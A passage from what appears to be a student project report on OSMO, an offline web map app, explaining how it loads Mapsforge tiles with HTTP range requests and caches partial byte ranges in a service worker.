&lt;p&gt;To make sure that the map always draw labels on top, I make two passes through the data. In the first, I render out all the areas and lines, then in the second, the way labels and PoIs. Before I implemented this, areas from other tiles would often overlap labels.&lt;/p&gt;
&lt;h2&gt;Final application development process: OSMO&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Source in &lt;code&gt;final-deliverable/&lt;/code&gt;, online demo at &lt;a href="https://files.george.honeywood.org.uk/final-deliverable/#16/51.4313/-0.5472"&gt;&lt;code&gt;files.george.honeywood.org.uk/final-deliverable/&lt;/code&gt;&lt;/a&gt;, or &lt;a href="https://youtu.be/2XLOaLw82c8"&gt;watch the demo video&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the second term, I worked on the final application, named OSMO. This started off as a direct clone of the final proof of concept — as discussed in &lt;a href="#loc-69"&gt;[sec:poc-4]&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Dynamic tile loading&lt;/h3&gt;
&lt;p&gt;The final proof of concept (&lt;a href="#loc-69"&gt;[sec:poc-4]&lt;/a&gt;) rendered data from a preloaded Mapsforge file, requiring the whole map to be downloaded into RAM before any tiles could be drawn. This works fine for small map files, but is not reasonable for larger ones — the map file that covers England is around 800 MB — which is too much data to download and store in RAM, especially on mobile devices.&lt;/p&gt;
&lt;p&gt;To circumvent this issue, we can use HTTP range requests, which allow us to request only certain chunks of a file from a web server &lt;a id="loc-73" href="#loc-153" role="doc-biblioref"&gt;[53]&lt;/a&gt;. Range requests are natively supported by popular web servers like Apache and nginx. This approach is a little unusual, typically vector/raster tile based online maps utilise a dedicated server application known as a tile server. The tile server takes a web request shaped like &lt;code&gt;example.org/z/x/y&lt;/code&gt;, and then responds to this with data for the requested tile.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="bash"&gt;&lt;span style="color: #4b69c6"&gt;%&lt;/span&gt; curl -v &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;https://files.george.honeywood.org.uk/final-deliverable/data/england.map&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt; \&lt;br&gt; -H &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;range: bytes=0-23&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;&gt;&lt;/span&gt; GET &lt;span style="color: #4b69c6"&gt;/final-deliverable/data/england.map&lt;/span&gt; HTTP/2&lt;br&gt;&lt;span style="color: #d73948"&gt;&gt;&lt;/span&gt; Host: &lt;span style="color: #4b69c6"&gt;files.george.honeywood.org.uk&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;&gt;&lt;/span&gt; range: bytes&lt;span style="color: #d73948"&gt;=&lt;/span&gt;&lt;span style="color: #198810"&gt;0-23&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;&amp;lt;&lt;/span&gt; HTTP/2 &lt;span style="color: #4b69c6"&gt;206&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;&amp;lt;&lt;/span&gt; server: &lt;span style="color: #4b69c6"&gt;nginx/1.18.0&lt;/span&gt; (Ubuntu)&lt;br&gt;&lt;span style="color: #d73948"&gt;&amp;lt;&lt;/span&gt; content-length: &lt;span style="color: #4b69c6"&gt;24&lt;/span&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;&amp;lt;&lt;/span&gt; content-range: &lt;span style="color: #4b69c6"&gt;bytes&lt;/span&gt; 0-23/844019294&lt;br&gt;&lt;br&gt;&lt;span style="color: #4b69c6"&gt;[...&lt;/span&gt; 24 bytes of data ...]&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The first 24 bytes of the file contain the magic bytes, then length of the rest of the header. Once we have this, we can then request the rest of the header, and based on this, the tile indexes. We then use these parts of the Mapsforge file to calculate which tiles the file contains, and their offsets within the file.&lt;/p&gt;
&lt;p&gt;The Mapsforge format is not specifically designed for this type of use. Instead, data is typically read from a locally stored file by a native application. This range request approach was inspired by the PMTiles project, which stores tiles in “pyramids built on compressed Hilbert ordering”, allowing for efficient random access to tiles &lt;a id="loc-74" href="#loc-154" role="doc-biblioref"&gt;[54]&lt;/a&gt;. This specifically designed PMTiles format saves initial network traffic compared to using the Mapsforge format, but the overhead is relatively low for my use case. For the 800 MB England map, the file header is only 8.0 KB, and the tile indexes are just over 1.1 MB. The PMTiles approach makes more sense for larger world scale maps, as they will have many more tiles, and hence larger tile indexes.&lt;/p&gt;
&lt;p&gt;Additionally, PMTiles is intended as a general purpose map library, whereas OSMO is more specifically designed as a standalone offline map application. This means that we can assume that the indexes will only need to be fetched once, and from then will be cached in the service worker.&lt;/p&gt;
&lt;p&gt;The dynamic tile loading implementation is transparent to the parsing code, as it loads the required bytes via an abstracted &lt;code&gt;fetchBytes(start, end)&lt;/code&gt; function. Depending on how the &lt;code&gt;MapsforgeParser&lt;/code&gt; was constructed, it will then either read data from a pre-downloaded blob, or dynamically via an HTTP range request.&lt;/p&gt;
&lt;h3&gt;Caching dynamically loaded tiles&lt;/h3&gt;
&lt;p&gt;As discussed in the previous section, the final proof of concept read data from a pre-downloaded map blob. This made offline use quite simple, as the entire blob could be stored in the service worker cache. Working with only partial range requested data, however, requires a more specialized approach, as the service worker cache cannot natively store partial data &lt;a href="#loc-131" role="doc-biblioref"&gt;[31, see Section 5.4.5: &lt;code&gt;Cache.put(request, response)&lt;/code&gt;]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To work around this limitation I instead decided to store the data with an extra key appended to the URL, which contains the byte range that is stored within that response. For example, if we had stored the two byte ranges in the cache (that make up the file header), we would have two keys in the cache: and . As the same tile will stay at the same byte offset, later, when we are offline, we can use the same key to retrieve the tile data, with &lt;code&gt;cache.match(url)&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Downloading a region&lt;/h3&gt;
&lt;p&gt;Caching the partially downloaded map file became more complicated when I wanted to add the download region feature. This would allow the user to click the “Download” button, which recursively downloads all the tiles below the current map viewport. The use case for this is that a disk space restricted user will be able to download a subset of the map, without needing to download the entire 800 MB &lt;code&gt;england.map&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;My initial, naïve downloading approach was as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Calculate which tiles are contained within the current viewport.&lt;/li&gt;
&lt;li&gt;Generate the byte ranges which these tiles are stored at within the file.&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;fetchBytes()&lt;/code&gt; to load these bytes into the service worker cache for later offline use.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;While functional, this approach was less than ideal. For one, this meant storing thousands of individual byte ranges within the cache — an area the size of Cornwall contains about 11,000 tiles at z14. The other main problem was that dispatching hundreds of HTTP range requests to the server was very slow, and it makes much more sense to download larger chunks of the data at once. Conveniently to this end, the Mapforge format stores the tile data for the &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 4.535333333333332em; height: 0.683em;" viewBox="0 0 49.88866666666666 7.513000000000001" width="49.88866666666666pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 10.570999999999998 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 15.462333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 21.16033333333333 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 25.43933333333333 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 29.71833333333333 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 35.21833333333333 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 40.109666666666655 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 45.609666666666655 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c -0.18700027 -0.627 -0.68200016 -1.386 -1.3970001 -1.386 c -0.36300015 0 -0.54999995 0.21999998 -0.54999995 0.671 c 0 0.14299995 0.05499983 0.45099992 0.17599988 0.9459999 l 0.37400007 1.485 c 0.20899987 0.82500005 0.54999995 1.2429998 1.0340002 1.2429998 c 0.1539998 0 0.29699993 -0.032999992 0.41799974 -0.08799982 c -0.29699993 -0.09899998 -0.44000006 -0.29699993 -0.44000006 -0.59399986 c 0 -0.286 0.15400028 -0.42900014 0.4510002 -0.42900014 c 0.35199976 0 0.62699986 0.319 0.62699986 0.67100024 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gD1F0DEADEB395B3F5C60AD3163D51B32" overflow="visible"&gt;&lt;path d="M 0 0m 1.793 4.862 c -0.495 0 -0.88 -0.2750001 -1.155 -0.8249998 c -0.20900002 -0.42900014 -0.319 -0.7260003 -0.319 -0.8910003 c 0 -0.09899998 0.055000007 -0.1539998 0.176 -0.1539998 c 0.15399998 0 0.16499996 0.065999985 0.20899999 0.23099995 c 0.25300002 0.86899996 0.605 1.309 1.056 1.309 c 0.143 0 0.22000003 -0.09899998 0.22000003 -0.29699993 c 0 -0.17600012 -0.055000067 -0.42900014 -0.176 -0.74800014 c -0.41799998 -1.1329999 -0.627 -1.892 -0.627 -2.299 c 0 -0.83599997 0.51699996 -1.331 1.3639998 -1.331 c 0.36300015 0 0.704 0.132 1.0120001 0.396 c -0.385 -1.452 -0.99 -2.178 -1.8149999 -2.178 c -0.37400007 0 -0.6270001 0.12099993 -0.75900006 0.36299992 c 0.44000006 0.022000074 0.65999997 0.23100007 0.65999997 0.62700003 c 0 0.27500004 -0.14299989 0.41799998 -0.43999994 0.41799998 c -0.407 0 -0.649 -0.34099996 -0.649 -0.74799997 c 0 -0.605 0.55 -0.9899999 1.188 -0.9899999 c 1.265 0 2.2990003 1.1659999 2.574 2.244 l 1.0340004 4.158 c 0.032999992 0.12100029 0.043999672 0.20900011 0.043999672 0.26399994 c 0 0.22000027 -0.12099981 0.3300004 -0.35199976 0.3300004 c -0.17600012 0 -0.31900024 -0.0880003 -0.41800022 -0.25300026 c -0.065999985 -0.23099995 -0.12099981 -0.4289999 -0.1539998 -0.59399986 l -0.704 -2.8270001 c -0.11000013 -0.39600003 -0.6930001 -0.89100003 -1.1880002 -0.89100003 c -0.41799998 0 -0.62699986 0.275 -0.62699986 0.83599997 c 0 0.462 0.18700004 1.166 0.54999995 2.112 c 0.14299989 0.385 0.22000003 0.6489999 0.22000003 0.803 c 0 0.53900003 -0.385 0.93499994 -0.924 0.93499994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; and &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 2.2226666666666666em; height: 0.683em;" viewBox="0 0 24.449333333333332 7.513000000000001" width="24.449333333333332pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 9.779 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 14.670333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 20.170333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gA1BDADE771CC07CEBCEC397EA5E3F220" overflow="visible"&gt;&lt;path d="M 0 0m 1.529 1.166 c -0.352 0 -0.58300006 -0.264 -0.58300006 -0.616 c 0 -0.33 0.25300002 -0.605 0.58300006 -0.605 c 0.15399992 0 0.2859999 0.044 0.385 0.143 l 0.010999918 -0.088 c 0 -0.693 -0.23099995 -1.287 -0.69299996 -1.76 c -0.07700002 -0.08800006 -0.12100005 -0.15400004 -0.12100005 -0.19799995 c 0 -0.11000013 0.04400003 -0.16499996 0.143 -0.16499996 c 0.0990001 0 0.23100007 0.13199997 0.41799998 0.38499987 c 0.37400007 0.528 0.5610001 1.1110001 0.5610001 1.738 c 0 0.583 -0.19799995 1.166 -0.704 1.166 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c -0.032999992 0.27499998 -0.04400003 0.847 -0.04400003 1.716 c 0 0.95700026 0.032999992 1.6279998 0.08800006 1.9910002 c 0.09899998 0.605 0.29699993 0.9899998 0.605 1.1549997 c 0.24199986 0.13199997 0.45099998 0.19799995 0.638 0.19799995 c 0.7149999 0 1.1109998 -0.5829997 1.2319999 -1.2319999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; tiles in a contiguous range of bytes. This means that instead of downloading each tile individually, we can download a whole row of tiles at once.&lt;/p&gt;
&lt;p&gt;Taking this request chunking approach meant that the service worker code had to be altered, to allow a partial read of data from within a larger cached range. For example, if we had the range , we not only need to be able to read bytes 100 to 200, but also any arbitrary subset of that range. The implementation for this was fairly simple:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; requested_range &lt;span style="color: #d73948"&gt;=&lt;/span&gt; {&lt;br&gt; start: [&lt;span style="color: #d73948"&gt;...&lt;/span&gt;] &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; parsed from Range header in request&lt;/span&gt;&lt;br&gt; end: [&lt;span style="color: #d73948"&gt;...&lt;/span&gt;]&lt;br&gt;};&lt;br&gt;&lt;br&gt;[&lt;span style="color: #d73948"&gt;...&lt;/span&gt;] &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; elided logic to choose which cached range to use&lt;/span&gt;&lt;br&gt;cached_range &lt;span style="color: #d73948"&gt;=&lt;/span&gt; {&lt;br&gt; start: [&lt;span style="color: #d73948"&gt;...&lt;/span&gt;] &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; parsed from bytes= query parameter in cache key&lt;/span&gt;&lt;br&gt; end: [&lt;span style="color: #d73948"&gt;...&lt;/span&gt;]&lt;br&gt;};&lt;br&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;return&lt;/span&gt; &lt;span style="color: #d73948"&gt;new&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Response&lt;/span&gt;(&lt;br&gt; (&lt;span style="color: #d73948"&gt;await&lt;/span&gt; responseFromCache.&lt;span style="color: #4b69c6"&gt;blob&lt;/span&gt;())&lt;br&gt; .&lt;span style="color: #4b69c6"&gt;slice&lt;/span&gt;(&lt;br&gt; requested_range.&lt;span style="color: #4b69c6"&gt;start&lt;/span&gt; &lt;span style="color: #d73948"&gt;-&lt;/span&gt; cached_range.&lt;span style="color: #4b69c6"&gt;start&lt;/span&gt;,&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; NOTE: ranges in the cache are end exclusive,&lt;/span&gt;&lt;br&gt; &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; so need add one here to get the final byte&lt;/span&gt;&lt;br&gt; (requested_range.end &lt;span style="color: #d73948"&gt;-&lt;/span&gt; cached_range.&lt;span style="color: #4b69c6"&gt;start&lt;/span&gt;) &lt;span style="color: #d73948"&gt;+&lt;/span&gt; &lt;span style="color: #b60157"&gt;1&lt;/span&gt;,&lt;br&gt; ),&lt;br&gt; { status: &lt;span style="color: #b60157"&gt;206&lt;/span&gt; }&lt;br&gt;);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;One minor complication caused by allowing the partial reads of cached ranges was that we could no longer use the &lt;code&gt;cache.match(url)&lt;/code&gt; method, as this only matches an exact request URL. Instead, I had to create my own implementation, where I looped over the keys in the cache (using &lt;code&gt;cache.keys()&lt;/code&gt;) and manually checked if the requested byte range was a subset of one of the cached ranges. This was done with a linear search, which isn’t ideal, but the runtime should remain reasonable so long as the number of cached ranges is small.&lt;/p&gt;
&lt;h3 id="loc-75"&gt;Experimenting with WebGL&lt;/h3&gt;
